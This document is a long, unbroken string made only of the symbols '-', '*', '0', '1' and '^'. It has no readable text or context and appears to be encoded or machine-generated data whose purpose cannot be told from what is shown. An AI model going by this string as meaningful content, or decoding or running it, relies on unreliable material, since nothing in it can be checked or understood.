-11*--------*0-1*-******1**0110-**0^-----101*-011011*00-*011*0^1101*****0010-10^10101**^1^^1*****01**00101101**^^1*********01^1***1011*^-11*11**--------*0-1*-********00110^11*00^-----101*-1101101*0-*011******001***0-**01********001101*0^-001**00---^^-11*011*00-----101*-*0-*0-*011**01101********0^11011*00^1*^1*****01**0-***01*01*001*1*0101*0-00^-11*01010^---------00-*-*001101********01*1011*00^1*^1*****01**0^^11*001*01*001*1*-----101*-1101^1*-*011**101^-11**********1*0^-001**00--101^^-11*011*00-----101*-10110101*-*011**010^-11*0101**001^-11*01010^--------1^-1*-*0010^-11*-----101*-**11*-*011**********0^11*001********001101*0^-001**00---110^-11*011*00-----101*-10101011*-*011*01*^1********001*11*00^101*001*1*0101*00101*0-11*---------00-*-00^1101*****001*1011**01*001*010^1*****001**-***01*001*01*1*-----101*-^-11*-*011*0^1101******^1*00-**001*010^101011010-11*^1*01*1*********1*1*^-00-110101**00---00-0-11*11**011*******-0011*0101*1**--------10110-*-001*^1********001*11*00^101*001*1*------*-*101*00-*011*01^1010-11**********1*0^-001**00--1^1*0-11*011*00------*-010-*00-*011*********0-*11*001*101*0^11*011*******-1011*0101*1**--------01010-*-00^1101*****00^1^-0101**01*010^1010^10-11*^1*01*1*------*-10-01*0-*011*011011010-11**********1*0^-001**00--1*11*011*00------*-0-011*0-*011*********01011*1*001*101*00^1*-11*01010^--------00110-*-00^1101*****00101*110--**^1^^-011*^1*0------*-1101*1*-*011*00^1010-11**********1*0^-001**00--11*1*-11*011*00------*-10-001*-*011******001**010-1**01*101**101*-11*------*-11010101*-*011*0^1101******0^1*^-**^1^^1*****01**010101**00^^1**1*******1^-010-110110101******0-*1*101******01****1**1******01**0-001**1*11****001***1^1*10^11011*01*11011**00-00^11*1*001*0101*001*******1^-0110-1010^1*1**--------*0-1*-******1**010-1**0^------*--10-*-*011*01*1^-11**********1*0^-001**00---001*-11*011*00-----^^-1***0-*011*0^1101******-*00-0011*00^1^^1********-0-1*00^^1*00101*01*1^-11*--------*10-*-00^1101******0-0101*^1*00^1^^1*****01**0110101**0^^1*0-----^^-^101*00-*011******001**01011***1********001101***01*********00^1*00^11**---------00-*-*001101********0-*11*00^1*^1********01101101*00^-*001*1*-----^^-0^101*0-*011*0^10^-11**********1*0^-001**00--1*01^-11*011*00-----^^-00^11*0-*011*********00-0011*001*101*0-01010-11*01010^--------01010-*-00^1101*******1**101**01*010^101*110-11*^1*01*1*-----^^-11*001*-*011******001**01101***1********001101*0^-001**00--101101010-11*011*00-----^^-*1^1*-*011******001**0101011**01*101*00-1*-----^^-10^101*-*011*0^1101*****001^10-**1*001*010^1*****001***11**001*001*01*1*001*******1^-010-110110101******0-*1*101******1**0010-1**1******1***10-**1*11*******011**0010^11011*-*0010110101**-^1011*00^1*0010-11*001*******1^-0110-1010^1*1**--------10110-*-*001101*0-10-11*1*^10-*0-11*101*001*1*-----^^-0-0-*-*011*********010^101*001********001101*0^-001**00--110-*011*00-----110^-01***-*011**01101*****001**01****^1*^110-*-11*-*001*1*0101*011011010-11*--------*0-1*-********00-1*1*00^-----110^-*001*00-*011***********-*001********001101***0^10-10-11*11**--------*0-1*-******1***0101**0^-----110^-10-1*00-*011*0^1101******11*1^-11**1*010^--110-11**1*01*1*********1*1*^-001**00--101011010-11*011*00-----110^-*1101*0-*011******001**01^11**01*101**001010-11*-----110^-01^11*0-*011*********0^10101*001*01*******1^-010-110110101******0-*1*101********00^10101*001********00-00101*001*11*******011**0010^11011*-*0010110101**1101011011*001*10-10-11*001*******1^-0110-1010^1*1**--------01010-*-*001101*********-001*00^1*^--*-11*011*001*1*-----110^-^10101*-*011*0^1101*****00110^1010^1**01*010^1*****01**010^1**01*001*01*1*********00101*^-001**00---1^10-11*011*00-----110^--*11*-*011*********00^1011*001*101*001*010-11*01010^--------*0-1*-*********^1011*00^-----110^-*00-*-*011*********001010101*001********001101*0^-001**00--11*0010-11*011*00-----110^-1010-1*-*011*01*^-1*10-11*001*001*1*0101*010-^-11*---------00-*-00^1101*****00^-11*11011*001*010^1*****001**1*001**1*001*01*1*-----101^-01101**-*011******001**011***001********001101***01*00-0-11*11**--------1^-1*-0010-110-11*-----101^-*011*00-*011*********01**1*001********001101*0^-001**00--^-^-11*011*00-----101^-101*1*0-*011*0110-00-11*0101**^^-11*01010^---------00-*-00^1101*****00110-001101^1*001*010^1*****01**0011*1**1*001*01*1*-----101^-00^11*0-*011**01101*110110-11*1*^1^10^-11*011*001*1*********0-*0^-001**00---*^-11*011*00-----101^-00-11*0-*011******001**0011***01*101*001101^-11*01010^--------*0-1*-******1**0011***0^-----101^-1010^1*-*011**01101********00^1101*00^1*^1*-10-11*101*001*1*********1*1*^-001**00--110101^-11*011*00-----101^-*01101*-*011**01101*1^10-11*1*^1********00^101*00^-*001*1*0101*011010^-11*--------*0-1*-********00-0^1*00^-----101^-0-0011*-*011*********010-011*001********001101***01*^^-11*11**--------01010-*-*001101********0^^11*00^1*^1*-10-11*101*001*1*-----101^-1*-1*-*011*0^1101*****00--0101^-*001*010^1*********1^1*00^^1*01*1*********00101*^-001**00--101010^-11*011*00------^--1**0-*011**011010-00^-11*1*^1********^^11*00^101*001*1*0101***010-11*--------1^-1*-*01*10-11*------^-010101*00-*011**0110101*^1*****01**01****1*11*001*1*1*^^^^-11*011*001*1*********00101***101*-0-11*11**--------1^-1*-*010-0-11*------^-101^1*0-*011*00^1*-11**********1*0^-001**00----^-11*011*00------^--1101*0-*011*0^1101*****00^1*1*11**00^1^^--010-11*^1*00101*0110^10-11*01010^--------10110-*-*00110^1^^-11*1*^10-1^-11*011*001*1*------^-**01*-*011******001**010101**001********001101*0^-001**00--1010^10-11*011*00------^-1010^1*-*011**********^101*001*101**011010-11*--------1^-1*-001011*0-11*------^-01010101*-*011*01^1^-11**********1***010^-10-11*11**--------*0-1*-*********0^101*00^------^-001*11*-*011*********01^-1*001********001101*0^-001**00---101010-11*011*00------^-^11011*-*011*0^1101******-01^1011**00^1^^1*****01**0^1101**^^1*00101*001^110-11*------^--10-*-*011*010-*-11*001*******1^-010-110110101******0-*1*101******11**01*001*001******11**0011*1*001*11*******00101011*10^^-*011*010^101101***0^11011*01101*-11*001*******1^-0110-1010^1*1**--------1^-1*-00110-10-11*-----1*10-01^1*00-*011*0^^10-11**********1*0^-001**00--110^110-11*011*00-----1*10-*-*00-*011**01101*-010-11*1*^-01*0-11*011*001*1*0101*0010^10-11*-----1*10-^^1*0-*011******001**01*11**01*01*******1^-010-110110101******0-*1*101******11**0110-1*001******11***-11*001*11****01**01*001*0101*0101*11011010^1*0^^-10-01*001*-1*00101*001*******1^-0110-1010^1*1**--------*0-1*-******1***1***0^-----1*10-011*01*-*011**01101********0110-01*00^1*^1*11*-11*-*001*1*********1*1*^-001**00--1^^10-11*011*00-----1*10-1*0101*-*011******001**0010-**01*101*010101010-11*--------*0-1*-********001^-1*00^-----1*10-^-01*-*011******001**0011011**01********001101***01*0-10-11*11**--------10110-*-*0011010101*10-11*1*^^-^-11*-*001*1*-----1*10-^11011*-*011******001**0-0101**1********001101*0^-001**00--^101010-11*011*00-----1*10-0-0-*-*011*********0-1^1*001*101*010-*-11*-----1*10-00--*-*011*0^1101*******010-11011**^1^^1*****01**00-^1*00^^1**1*******1^-010-110110101******0-*1*101******1**01*-**1******1**0--1**1*11****01**01*001*0101*0101*11011010^1*0^^--0011*001*1101*00101*001*******1^-0110-1010^1*1**--------*10-*-00^1101******010-*101101*00^1^^1*****01**01*101**^^1*0-----1^10-^^1*0-*011******001**01010101**1********001101*0^-001**00--^-*-11*011*00-----1^10-0-101*0-*011*01*^10-1^-11*-*001*1*0101*01*1010-11*01010^--------*0-1*-*********-0-*00^-----1^10--0-*0-*011**101*-11**********1*0^-001**00--1*01010-11*011*00-----1^10-^1*1*-*011**01101010110110-11*1*^11*0^-11*-*001*1*0101*01*1*-11*-----1^10-0101^1*-*011**-110-11*001*******1^-010-110110101******0-*1*101**********0101*001*********-0101*001*11*******011**0010^10-*-*0010110101**11**11*001*********10^11*001*01*******1^-0110-1010^1*1**--------011*11*-00^1101*-00--01*********011011*001*10110101*^1********-1^1*001*01****01*****0--01*^1^11010-11*001****01*****0--0^11010-11*001****01*****0--*****0010101^10110-*00^1^^1*****01***0-**0^^1*0-----101010-1***0-*011*0^1101*****001*10^--**^1^^1*****01***-01**^^1*********01^1*^-001**00--1*01*-11*011*00-----101010-0-1**-*011*01*1*-11*0101**0-00-11*-----101010-^101*00-*011***********011*001*01*******1^-010-110110101******0-*1*101******01**001*11*001******01**010^11*001*11****011**10-001*10^1101**-^1^^-01^1*001*0101*10-*01101*001*******1^-0110-1010^1*1**--------11010-*-00^1101*****00-^1*11*1*00^1^^1*01^-11*^1*0-----101010-1101011*0-*011*001010^-11**********1*0^-001**00---101^-11*011*00-----101010-10-11*0-*011*0-11010-11*0101**-^-11*01010^--------1^-1*-00-11010-11*-----101010-*0^1*-*011*********001101101*001********001101*0^-001**00---0-00-11*011*00-----101010-10^101*-*011*0^1101******1011*110^1**^1^^-001^-11*^1*00101*011011*-----101010--01101*-*011**********110-*001*01*******1^-010-110110101******0-*1*101********001011*1*001********0011*001*001*11****011**1*-*0101*-**^1*001010---*001*0-*******************00^1*01*01*01*******1^-0110-1010^1*1**--------1^-1*-**-0-11*-----101010-*-11*-*011*01*^-101*-*001*1*********0101*0^-001**00--101011*011*00------010-1101**0-*011*********01101*1*001*101*011011*-11*01010^--------*0-1*-********001101*1*00^------010-00^1*00-*011*********0-*01*001********001101*0^-001**00--101011*-11*011*00------010-^-*00-*011*0^1101*****00--1011*001*001*010^1*****001**-0101**1*001*01*1*0101*001^^-11*------010-*0101*0-*011**011*-11*001*******1^-010-110110101******0-*1*10^10-010-11*1^1010-11*011*******00101011*10^^-*011*010^10101011**001*0011*01*010-11*001*******1^-0110-1010^1*1**--------*0-1*-********001101^1*00^------010-001*01*-*011*0^110^10-00-11*1*^1*****01**00^101**1*11*001*1*********1*1*^-001**00--110^^-11*011*00------010--1^1*-*011*00-1*-11*0101**^110-11*---------00-*-*001101********001*101*00^1*^1********00110101*00^-*001*1*------010-10-101*-*011**01101********0-01011*00^1*^1********0101*1*001*01*001*1*********00101*^-00-110101**00--101101*1**00--1********10^101*00^11**-110101**00--101101*1**00--1********00^101*00^11**-110101**00--101101*1**00--10^1*-11*11**-110101**00--101101*011*******-0011*0101*1**011********1011*0101*1**--------01010-*-00^11010--10-11*1*^1*****01**0110-1**1*11*001*1*-----^110--01**-*011*********0--11*001********001101*0^-001**00---*110-11*011*00-----^110-001101*00-*011*0^1101*****00-01^110^11*00^1^^1*********-01*00^^1*00101**1*10-11*-----^110-01*01*0-*011*01*^1********^10-*001*01*001*1*001*******1^-010-110110101******0-*1*101********00101*11*001********00110^11*001*11****001***1^1*10^10-*01*11011**00-0011010^1*001*0101*001*******1^-0110-1010^1*1**--------*0-1*-******1**001101**00^-----^110-1**1*-*011*00-*0-11**********1*0^-001**00---*010-11*011*00-----^110-1^^1*-*011******001***11***1*101*0-00110-11*-----^110-1*0101*-*011**********00^1*001*01*******1^-010-110110101******0-*1*101******01**^11**001******01**-01**00^110101******01^101*101******11**1*0011*001******11***0^1*00^1*******00101*1^11*-**001*******1^-0110-1010^1*1**--------*10-*-00^1101******-0^110-**0^1^^1*****01**01**1*00^^1*0-----^110-0-0-*-*011*0^1101*^^-11*1*^1********0110^1*00^101*001*1*********1*1*^-001**00--101^110-11*011*00-----110110-^1**0-*011*0^1101*******1^^1101**1*010^1********--11*001*001*01*1*0101***^-11*-----110110-*001*00-*011*0^-10-11*001*******1^-010-110110101******0-*1*101******11**0-0011*001******11****11*001*11*******011**00101*-1*-*0010110101**-1*011*001*00^10-11*001*******1^-0110-1010^1*1**--------1^-1*-001*-0-11*-----110110--0101*0-*011*0^1101********00^^1*00^1*^1*01*-11*-*001*1*********1*1*^-001**00----*-11*011*00-----110110-0^-*0-*011*********00-0101*001*101*00-*0-11*-----110110-**01*-*011*********0^1^1*001*01*******1^-010-110110101******0-*1*101*********1^-*001*********0010-*001*11****011**10-001*10^1101**-^1^^^-001*001*0101*0-1*11011*001*******1^-0110-1010^1*1**--------*0-1*-*********-0101*00^-----110110-10-101*-*011*0^1101*****001010-*1101**01*010^1*01^-11*^1*01*1*********1*1*^-001**00--11011*0-11*011*00-----110110-*11011*-*011******001**00-***1*101*0011*10-11*--------01010-*-*00110101010-0-11*1*^1********00110-*001*11*001*1*-----110110-0110-1*-*011*00-0^-11**********1***0101^-0-11*11**--------*0-1*-******1**00-***^-----10-0-*01**-*011*********01*1101*001********001101*0^-001**00--1101*10-11*011*00-----10-0-10^1*00-*011*00--0-11*0101*001011*-11*-----10-0-*011*00-*011******001**0-011**01*01*******1^-010-110110101******0-*1*101******11**1**1*001******11**-1*1*001*11****011**10-001*10^1101**-^1^^^11*1*001*0101**11*-01*-11*001*******1^-0110-1010^1*1**--------01010-*-00^1101010101*-11*1*^1********10101101*00^-*001*1*-----10-0-0010-*0-*011*0^1101*****00-0110-001**00^1^^1*****01**0011*01*00^^1*********01^1*^-001**00--1^11*-11*011*00-----10-0-1*^1*-*011**110^-11*0101*01^1010-11*-----10-0-00-001*-*011*0^1101011010110-11*1*^-00-0-11*-*001*1*001*******1^-010-110110101******0-*1*101******11**01010-*001******11**00^-*001*11*******00101011*10^^-*011*010^101*01**00^-01*********^10101*001*01*******1^-0110-1010^1*1**--------1^-1*-*0110^-11*-----10-0-00-011*-*011*********0-00-*001********001101*0^-001**00--10^1010-11*011*00-----10-0-1*-1*-*011**011*0101**-010-11*-----10-0-110-11*-*011*0-0-0-11*001*******1^-010-110110101******0-*1*101******01***011**01******01**0-11**01*11****01**01*001*0101*0101*11011010^1*0^^1^1*11*00^^11*00101*001*******1^-0110-1010^1*1**--------0010-1*-*0011*------110-1*11*00-*011*0^1101*****0011*^1*1**00^1^^1*****01**00110^1*00^^1*********01^1*^-001**00---011010-11*011*00------110-0-001*0-*011******001**0^1***1*101*0110-00-11*------110-00-01*0-*011*0-00110-11*001*******1^-010-110110101******0-*1*101******01**0101^1*001******01**0010^1*001*11****001***1^1*10^10-*01*11011**00-00--001*001*0101*001*******1^-0110-1010^1*1**---------00-*-00^1101*****00-*-1*01**1*010^1*****01**011*001*001*001*01*1*------110-0-^1*-*011*010101010-11**********1*0^-001**00--1010-00-11*011*00------110-*01101*-*011*0^110^1011*1*^1*****01**001*11**1*11*001*1*0101**011*001*******1010-010-1^11*******0-011*0101*1**01**--------*0-1*-*********01^11*00^------110-*11011*-*011**0110^-0110-11*1*^101101^-11*011*001*1*********0-*0^-001**00---101*011*00------110--10-*-*011*0-00^-11*0101*001011*--------01010-*-00^1101******1101*0-101**1*010^11*1^-11**1*01*1*-----1*0-1^1**0-*011*0^1101******^^-101101*00^1^^1********0101^1*00^^1*********01^1***^-1*11**--------1^-1*-00-00^-11*-----1*0-1010101*00-*011*0^1101******0010110^-1**1*010^1*****01**001101011*001*001*01*1*********00101*^-001**00--1^11*011*00-----1*0--1*1*0-*011*00^1^-11*0101*0101*10-11*01010^--------1^-1*-*^1^-11*-----1*0-10101101*0-*011******001**01^101**1********001101*0^-001**00--^1*10-11*011*00-----1*0--11011*0-*011**01101010-110-11*1*^-1^10-11*101*001*1*0101*00-1010-11*--------01010-*-*001101*****001***0101**0^1*^-*110-11*001*001*1*-----1*0-1*0^1*-*011**01101*110^-11*1*^11*1*-11*-*001*1*********0-***010110-10-11*11**--------*10-*-00^1101******010-10-011**^1^^1*****01**0-*01*00^^1*0-----1*0-1*-01*-*011*0^1101******1*1*-0011*00^1^^1*****01**00110^1*00^^1*********01^1*^-001**00--110-010-11*011*00-----1*0-110101011*-*011*0^1101*****00101010--001**1*010^1********10110101*00^^1*01*1*0101*01^1^-11*01010^--------1^-1*-0010101^-11*-----1*0-^10-1*-*011**01101********0-*11*00^1*^1*****01***00-**1*01*001*1*********00101*^-001**00--10^1^-11*011*00-----11*-10^1**-*011*01^1*-11*0101**110110-11*--------11010-*-00^1101*****00^1*1^-**0^1^^--010-11*^1*0-----11*-^1101*00-*011*0^1101******1^110110-**01*010^-110110-11*^1*01*1*********1*1*^-00-110^11*******01^11*0101*1**1**00--101101*011*******^1011*0101*1**--------1^-1*-001^1*-11*-----11*-1^1101*0-*011*001011010-11**********1*0^-001**00---010110-11*011*00-----11*--01011*0-*011******001**0-1***1*101*010101*-11*01010^--------*0-1*-******1**0-1***^-----11*-^1*01*-*011*0^1101******1*10^11011**^1^^10-0110-11*^1**********001*^-001**00--^101*-11*011*00-----11*-10-^1*-*011**01101********00101*1*00^1*^1*****01***10-1*001*01*001*1*0101*0^1*0-11*01010^--------*0-1*-*********-1011*00^-----11*-1**11*-*011*01101101010-*1*^1011*10-11*001*001*1*********1011*0^-001**00--10-1*011*00-----11*-101101011*-*011**010110-11*0101*00-1^-11*-----11*-11*0-*-*011**011010-0-0-11*1*^110-*-11*-*001*1*001*******1^-010-110110101******0-*1*101******11***0011**1******11**0-011**1*11****011**0011*1*101*^11*1*110101^1^1*11*001********************11*01*01*1101*001*******1^-0110-1010^1*1**--------11010-*-*101101*011*1*^1*****01**010-101*001*01*001*1*-----10^-1101101*00-*011*0011*10-11**********1*0^-001**00--110-^-11*011*00-----10^---1*00-*011***110-11*0101*0101^10-11*-----10^-1010^1*0-*011*001011*-11*001*******1^-010-110110101******0-*1*101******01**010-1**1******01**0010-**1*11*******011**00101*1101*-*0010110101**1^10-1*001********0011*011*001*01*******1^-0110-1010^1*1**---------00-*-00^110101*^^101*-11*001*001*1*1*^1*****01**011010101*001*01*001*1*-----10^-1*0^1*-*011*********00^1101*001********001101*0^-001**00--^1^10-11*011*00-----10^-110^101*-*011******001***01***1*101*011010110-11*01010^--------01010-*-*001101*********0-11*00^1*^1*01010-11*-*001*1*-----10^-^1*11*-*011*0^1101******1*^11*101*00^1^^1*****01**00110^1*00^^1*********01^1*^-001**00--101010110-11*011*00-----10^-11*0-*-*011******001**00-1**001*101*0-11*-11*---------00-*-00^1101*****00-0^11010^1*001*010^1*****01**0101*1**1*001*01*1*------00-101***-*011******001***01101**1********001101***01010^^-11*11**--------*0-1*-******1**00-1**00^------00---**-*011**01101*101010-11*1*^1*0-0-11*-*001*1*********0-*0^-001**00--10-1*-11*011*00------00--1011*00-*011**01101*101*-11*1*^11*1*-11*-*001*1*0101*011*^-11*------00-1*^1*0-*011*0--10-11*001*******1^-010-110110101******0-*1*101******01***01011*001******01**0-1011*001*11****01**01*001*0101*0101*11011010^1*0^^110^1011*001*1101*00101*001*******1^-0110-1010^1*1**--------*0-1*-*********1*-*00^------00-101*001*-*011**01101010-*1*^1*****01**00-11**01*11*001*1**********01*^-001**00--101*^-11*011*00------00-^-001*-*011**01101*********-011*00^1*^1*****01**01010-**1*11*001*1*0101*0-10110-11*--------01010-*-00^110^11*10-11*1*^1*****01**0-0-1*001*01*001*1*------00--*011*-*011**0-00-11**********1*0^-00-110^11*******01^11*0101*1**011*******^1011*0101*1**--------*0-1*-******1***1011**0^------00--^-*-*011*********0101*01*001********001101*0^-001**00--10-0110-11*011*00------00-^--*-*011**01101*0-10-11*1*^10-0110-11*101*001*1*0101**010110-11*01010^--------*0-1*-******1**001011**00^-----^10-1*11**-*011*0^1101*****001*0-10-11**1*010^1*****01***1*01*001*001*01*1*********00101*^-001**00---^110-11*011*00-----^10-1011011*00-*011*0010-10-11*0101*00-0010-11*01010^--------1^-1*-*10-10-11*-----^10-1^^1*0-*011*0101^10-11**********1*0^-001**00--1101^10-11*011*00-----^10--01101*0-*011*********010-001*001*101*0--00-11*01010^--------*0-1*-********0010-001*00^-----^10-^10-*0-*011**********11*1*001********001101*0^-001**00--10-1^-11*011*00-----^10-1^1*1*-*011*********01*0-*001*101*001010110-11*-----^10--10^1*-*011******001**011*1**01*01*******1^-010-110110101******0-*1*101******1**0-1011**1******1**01*011**^110101******110-*00101******1**00-^1*001******1**01^1101*001*11*******1*-*010^11**01**001*******1^-0110-1010^1*1**--------*0-1*-********001*0-*00^-----^10-110-011*-*011******001**0--**01********001101*0^-001**00--1^10110-11*011*00-----^10-10^-1*-*011*01*0110-11*0101*011*010-11*--------*0-1*-********001*1101*00^-----11010--1**00-*011*********0011*01*001********001101***0^^-0-11*11**--------01010-*-*001101010101*-11*1*^1*****01**001011**001*11*001*1*-----11010-1010101*00-*011**1*10-11**********1*0^-001**00--101*010-11*011*00-----11010-^-1*00-*011*********01*^1*001*101*0-11010-11*-----11010-1010^1*0-*011*0^110^1011*1*^-001^-11*101*001*1*001*******1^-010-110110101******0-*1*101******01***011**01******01**0-11**01*11****011**0011*1*101*^11*1*110101^11*^11*001*******************011**1*01*1011*001*******1^-0110-1010^1*1**--------01010-*-*0011010^-00-11*1*^1*****01**0^1101**1*01*001*1*-----11010-10110^1*-*011*0^1101*****00-*010^1101*00^1^^1*****01**0^1^1*00^^1*********01^1*^-001**00--10-1010-11*011*00-----11010--001101*-*011*0101*10-11*0101*010^^-11*--------*0-1*-******1***0-**0^-----11010-1*^11*-*011*********00110^1*001********001101***0^-0^-11*11**--------1^-1*-00101*10-11*-----11010-101*-*-*011**011010^11*-11*1*^-0-10-11*-*001*1*********0-*0^-001**00--^^^-11*011*00-----11010-1010-11*-*011******001***-1**01*101*001010^-11*01010^--------*10-*-00^1101*******10^^11**0^1^^1*****01**0-01**00^^1*0-----10110--011**-*011*********010101101*001********001101*0^-001**00--1^10^-11*011*00-----10110-1*011*00-*011*0^1101*****0010-010-11011*001*010^1*****01**01*-**1*001*01*1*0101*00-0^-11*--------1^-1*-00^10^-11*-----10110-10-001*0-*011**011010110-10-11*1*^1********1101*1*00^-*001*1*********1*1***1010110^-11*11**--------1^-1*-0010110110-11*-----10110-10-011*0-*011*********0-0^1*001********001101*0^-001**00--110110^-11*011*00-----10110--*001*-*011**0110101*^^^^-11*011*001*1*1*^1********1^1011*001*11*001*1*0101*010-010-11*01010^--------01010-*-00^110^1010^-11*1*^1*****01**0^1011**1*01*001*1*-----10110--010101*-*011*010-*********-*00^-001**00--^-010-11*011*00-----10110-^-101*-*011******001**001^1**01*101*0-^10-11*--------01010-*-00^1101******-*^-**001*010^1101^10-11*^1*01*1*-----10110-101011011*-*011*********01*0011*001********001101***0^110-0-11*11**--------*0-1*-******1**001^1**0^-----10110--10-1*-*011*001010110-11**********1*0^-001**00--10-0010-11*011*00------10-1^1**0-*011******001**0^1101**1*101**1^10-11*--------1^-1*-*1010110-11*------10-10-1**-*011**01101********001101011*00^1*^1********11*001*00^101*001*1*********00101***101010-0-11*11**--------*10-*-00^1101*******011*11011**^1^^1*****01**01011*1*00^^1*0------10-^1^1*0-*011*0^1101*****0010^1010^-1*001*010^10-1*^1*01*1**********01*^-001**00---0^10-11*011*00------10-101^11*0-*011**01101********010--*00^1*^1********00^101*00^101*001*1*0101**101^-11*--------*10-*-00^1101*****00-011*^1101*00^1^^1*********-01*00^^1*0------10--11*1*-*011*01*^1********-01011*001*11*001*1*********0-***0^1*^-11*11**--------*10-*-00^1101*****0010110101101101**0^1^^1*****01***110101*00^^1*0------10--101101*-*011*0^1101******10^101^1011*001*010^1*****01**010^1**01*001*01*1*********00101*^-001**00---001^-11*011*00------10-110101011*-*011******001******001*101*01^1*-11*--------*0-1*-******1**0^11**00^------10-110110-*-*011*011*^-11**********1*0^-**01101**00--^-010-11*11**1**00---011010-11*11**---------00-*-*001101********00110^1*00^1*^1********10101011*00^-*001*1*-----1*-11*11**-*011*********0-00101*001********001101*0^-001**00--10^1*-11*011*00-----1*--01101*00-*011*0^1101******11010-0-1**0^1^^1*********0^1*00^^1*00101**0^10-11*01010^--------1^-1*-00-10^-11*-----1*--10^1*0-*011******001***1^1**1********001101*0^-001**00---1*10-11*011*00-----1*-11*0011*0-*011*********010110101*001*101*0^10^-11*-----1*-110-011*0-*011******001**01*1**001*01*******1^-010-110110101******0-*1*101******1***001011*001******1**00-1011*001*11****01**01*001*0101*0101*11011010^1*0^^--0-*00^11011*00101*001*******1^-0110-1010^1*1**--------*0-1*-********0010110101*00^-----1*--1010101*-*011*010^^-11**********1*0^-001**00--1*10^-11*011*00-----1*--0-101*-*011*********001101011*001*101*001*110-11*-----1*--10^11*-*011**001^-11*001*******1^-010-110110101******0-*1*101******11**1010-**1******11**110-1**1*11****01**01*001*0101*0101*11011010^1*0^^-^11**01*1011*00101*001*******1^-0110-1010^1*1**--------*0-1*-*********1101011*00^-----1^--01**00-*011**01101********001^-*00^1*^1********-01101*00^-*001*1*********00101*^-001**00--11*0110-11*011*00-----1^--1*1*00-*011*011010^-11*0101**11*0-11*01010^--------1^-1*-0011010^-11*-----1^-11011011*00-*011******001***10101**1********001101*0^-001**00---01*0-11*011*00-----1^--10^1*0-*011*0^110101*^101101010-11*001*001*1*1*^-0-10-11*001*001*1*0101*001101010-11*-----1^---101*0-*011**011010-00^-11*1*^1*****01**0011011**01*11*001*1*001*******1^-010-110110101******0-*1*101******01**10101101*001******01**110-01*001*11****011**10-001*10^1101**-^1^^11**1*001*0101*01011**11*-11*001*******1^-0110-1010^1*1**--------1^-1*-**1*-11*-----1^-11*00101*-*011**01101*****001**0101***0^1*^-101010-11*-*001*1*********1*1*^-001**00--110101010-11*011*00-----1^--10-01*-*011**********101011*001*101*010-*--------01010-*-00^1101********00-*1*00^1*^1101*10-11*-*001*1*-----1^-11*11011*-*011******001**0-11**001********001101*0^-00-110101**00--1^1*0-11*11**011*******-0011*0101*1**--------*0-1*-*********0101011*00^-----1^-110--1*-*011*0^110^1011*-11*1*^110^110-11*011*001*1*********0-*0^-001**00--^-*011*00-----1010--0101**-*011*********001*101*001*101**011*-11*01010^--------*0-1*-*********1*101*00^-----1010-110-01*00-*011*********0^1*1*001********001101*0^-001**00---101*-11*011*00-----1010--1*01*0-*011*01*^1*****01**0-0^1*001*01*001*1*0101*011*110-11*01010^--------10110-*-00^11010110-10-11*1*^1*01*-11*101*001*1*-----1010-1101*11*0-*011**01101********0-*11*00^1*^-110^-11*001*001*1*********1*1*^-001**00--101*110-11*011*00-----1010--0-11*0-*011*0^1101*****0011***-11*00^1^^1********0^^1*00^^1*00101*001101******011**^1*1*****0-*0011*101*****01*1*011*11*****011**110-1*****001*1*1101101*****001**011*11******101*0--******11**001101******0-1*1*^1*****001*^1010^1******-*01*1******01011*^11******0011*00101*01*****001**0-001*******0^10110101*****0^1*001^101*****01^1*01*-*****010-*^11011*****01***^11********010-1******-11*10-******001**10110-*****01*1*0110^1********^-11*****011011*1011011*****00^11*^1011*****00101*00--01*****0-*0010-11******1101*1010-1******1**001^1*****01^1*1*1101*****01*1*1*-1*****00-1*11011*******011*1*001******011*001*11*****001*1*11*-*****010101*010-11*****0011**110-1*****010101*010-******00101*-*******0^1*^^1******-1*11011011*******1*001101******101*0^1^1*****011***-11******001*101*11*****001*1**011*****0011*^1^1011*****0-11*0-001*****0010101**0^1*****001101*-00-*****011**01101011*****001101*1*^1*****011011*^1*1*****0101*00110-11*******1*0-1******00-*^1101*****00^1*01010-********0010^11*****0-*001*1101*****00-**010-*****0^1*0^11******011011*-1101******11**110^1*****011011*-0-1*****01*0^-01011*****001*1*110-******-*001^11*****001^1*-11******0^1*010^101*****001*1**0-*****0-11*00-01******1**00^1******^11**00101*****0^1*0-001******0011*0010-01*****001101*110-1*****001011*0--11*****001101*-11******01*0^--11*****01101**1*1*****00-*0010110-*****001*^110-******00101*01101******0-11*001*11*****00^1*0101101******0101*-1*1*****01**01^11******10-*10^101*****001**10-101*****00-*01101*1*****001011*0101101******0101**1******0011011*00-1******0-1*0-101******101*00^1******001011*-001******00101*1*001*****00-11*01101101******-**0-1*****0-01*00110101*****0^11*001*******0^1**11011******101*^-11******011*01^11*******0^^11011*****011*1***1*****01*1*001011******11011*-1******00-1*011011011*****01*01*00-01*****0-11*11*-*****00101**1*11*****01**0-0^1*****01101*010-101*******^1010-******1011*-*1******-1*010^11*******^-00-*****0-*001101101******11*00^1******0010101*00-11******0011*01*1*******1**10-1*****01^1*0-0011*****001011*1^1011*****010-*0^101******^1*01101******0011*001*101*****00-11*-^1*****0010-*-11******01**010101011*****011011*10-*********-01011*****001011*--1******0101*110^11*****001101**001******00^1*11*******00-**1101******1101*0-01******^11*1*001******101*001*-******011*-0-******0-*0--1*****00-1*011*******-01*^11011*****0-01**1101*****001*0^10-1*******1*010-011*****001*^1^1******01*0^-00101******101*01*01*****0011***^11******001*^1011*****0010-*-00-*****00-1*-011******01011*011*1******101*011*1*********-^1*****0-**-1011*****0-11*001*01*****011*1**101*****00-11*0^-1******001*^1*******01*00^1*1******011*-11011******-*-10-******01*010101*******11**11*1*****0-01*01101******001*1*^1101*****01011***1******01**0^11*******00^1*1*******1**101*1******101*00-101*****010101*001101******01*1**0011*****001**1011*1*****01^1*1^11******10101*1*1101*****00^1*10--******1*00110^1********010-11*****001*1*^1******001^1**001******1*1*00^101******01*01*1101*****0011*00-011******11*1*11*11*****0-1*0^1101******-1*-0-1*****01011*00^1******010101*10110-******1*00110101******001**0101011******1*00-01101*****01*0^110^1******0-**011******1*01*-011*****00101**110101*****001011*01*-1*****0^1**110-*****0-*00-11011*****0-01*00^1******011**00101******-1*0-*01*****00101*0-1011********00-011*****00-11*00-01*****00-1**0-1*****00101*001010^1*****0011*0010101101*****0101**00^1******011*0-11011******11*00-01******00101*^1011*****001^1*-1011*****00-**10^1******011*01011011******0101*10-001******001**-11*****00^1*^-01*****0011**0-01*****001011*00^-*****00-1*0^-1*****001101*0-0^1*****0-11*00^-*****00-1*-*******1^1*11*001******-*1^^1*****0^11*10110-*****01011*0^1*1*****0-1*010110-*****011*^1101*******11*00^101******001**1*11******0101*10-101*****0101**011******0011**10^101*****011011*10101011******01**-101*****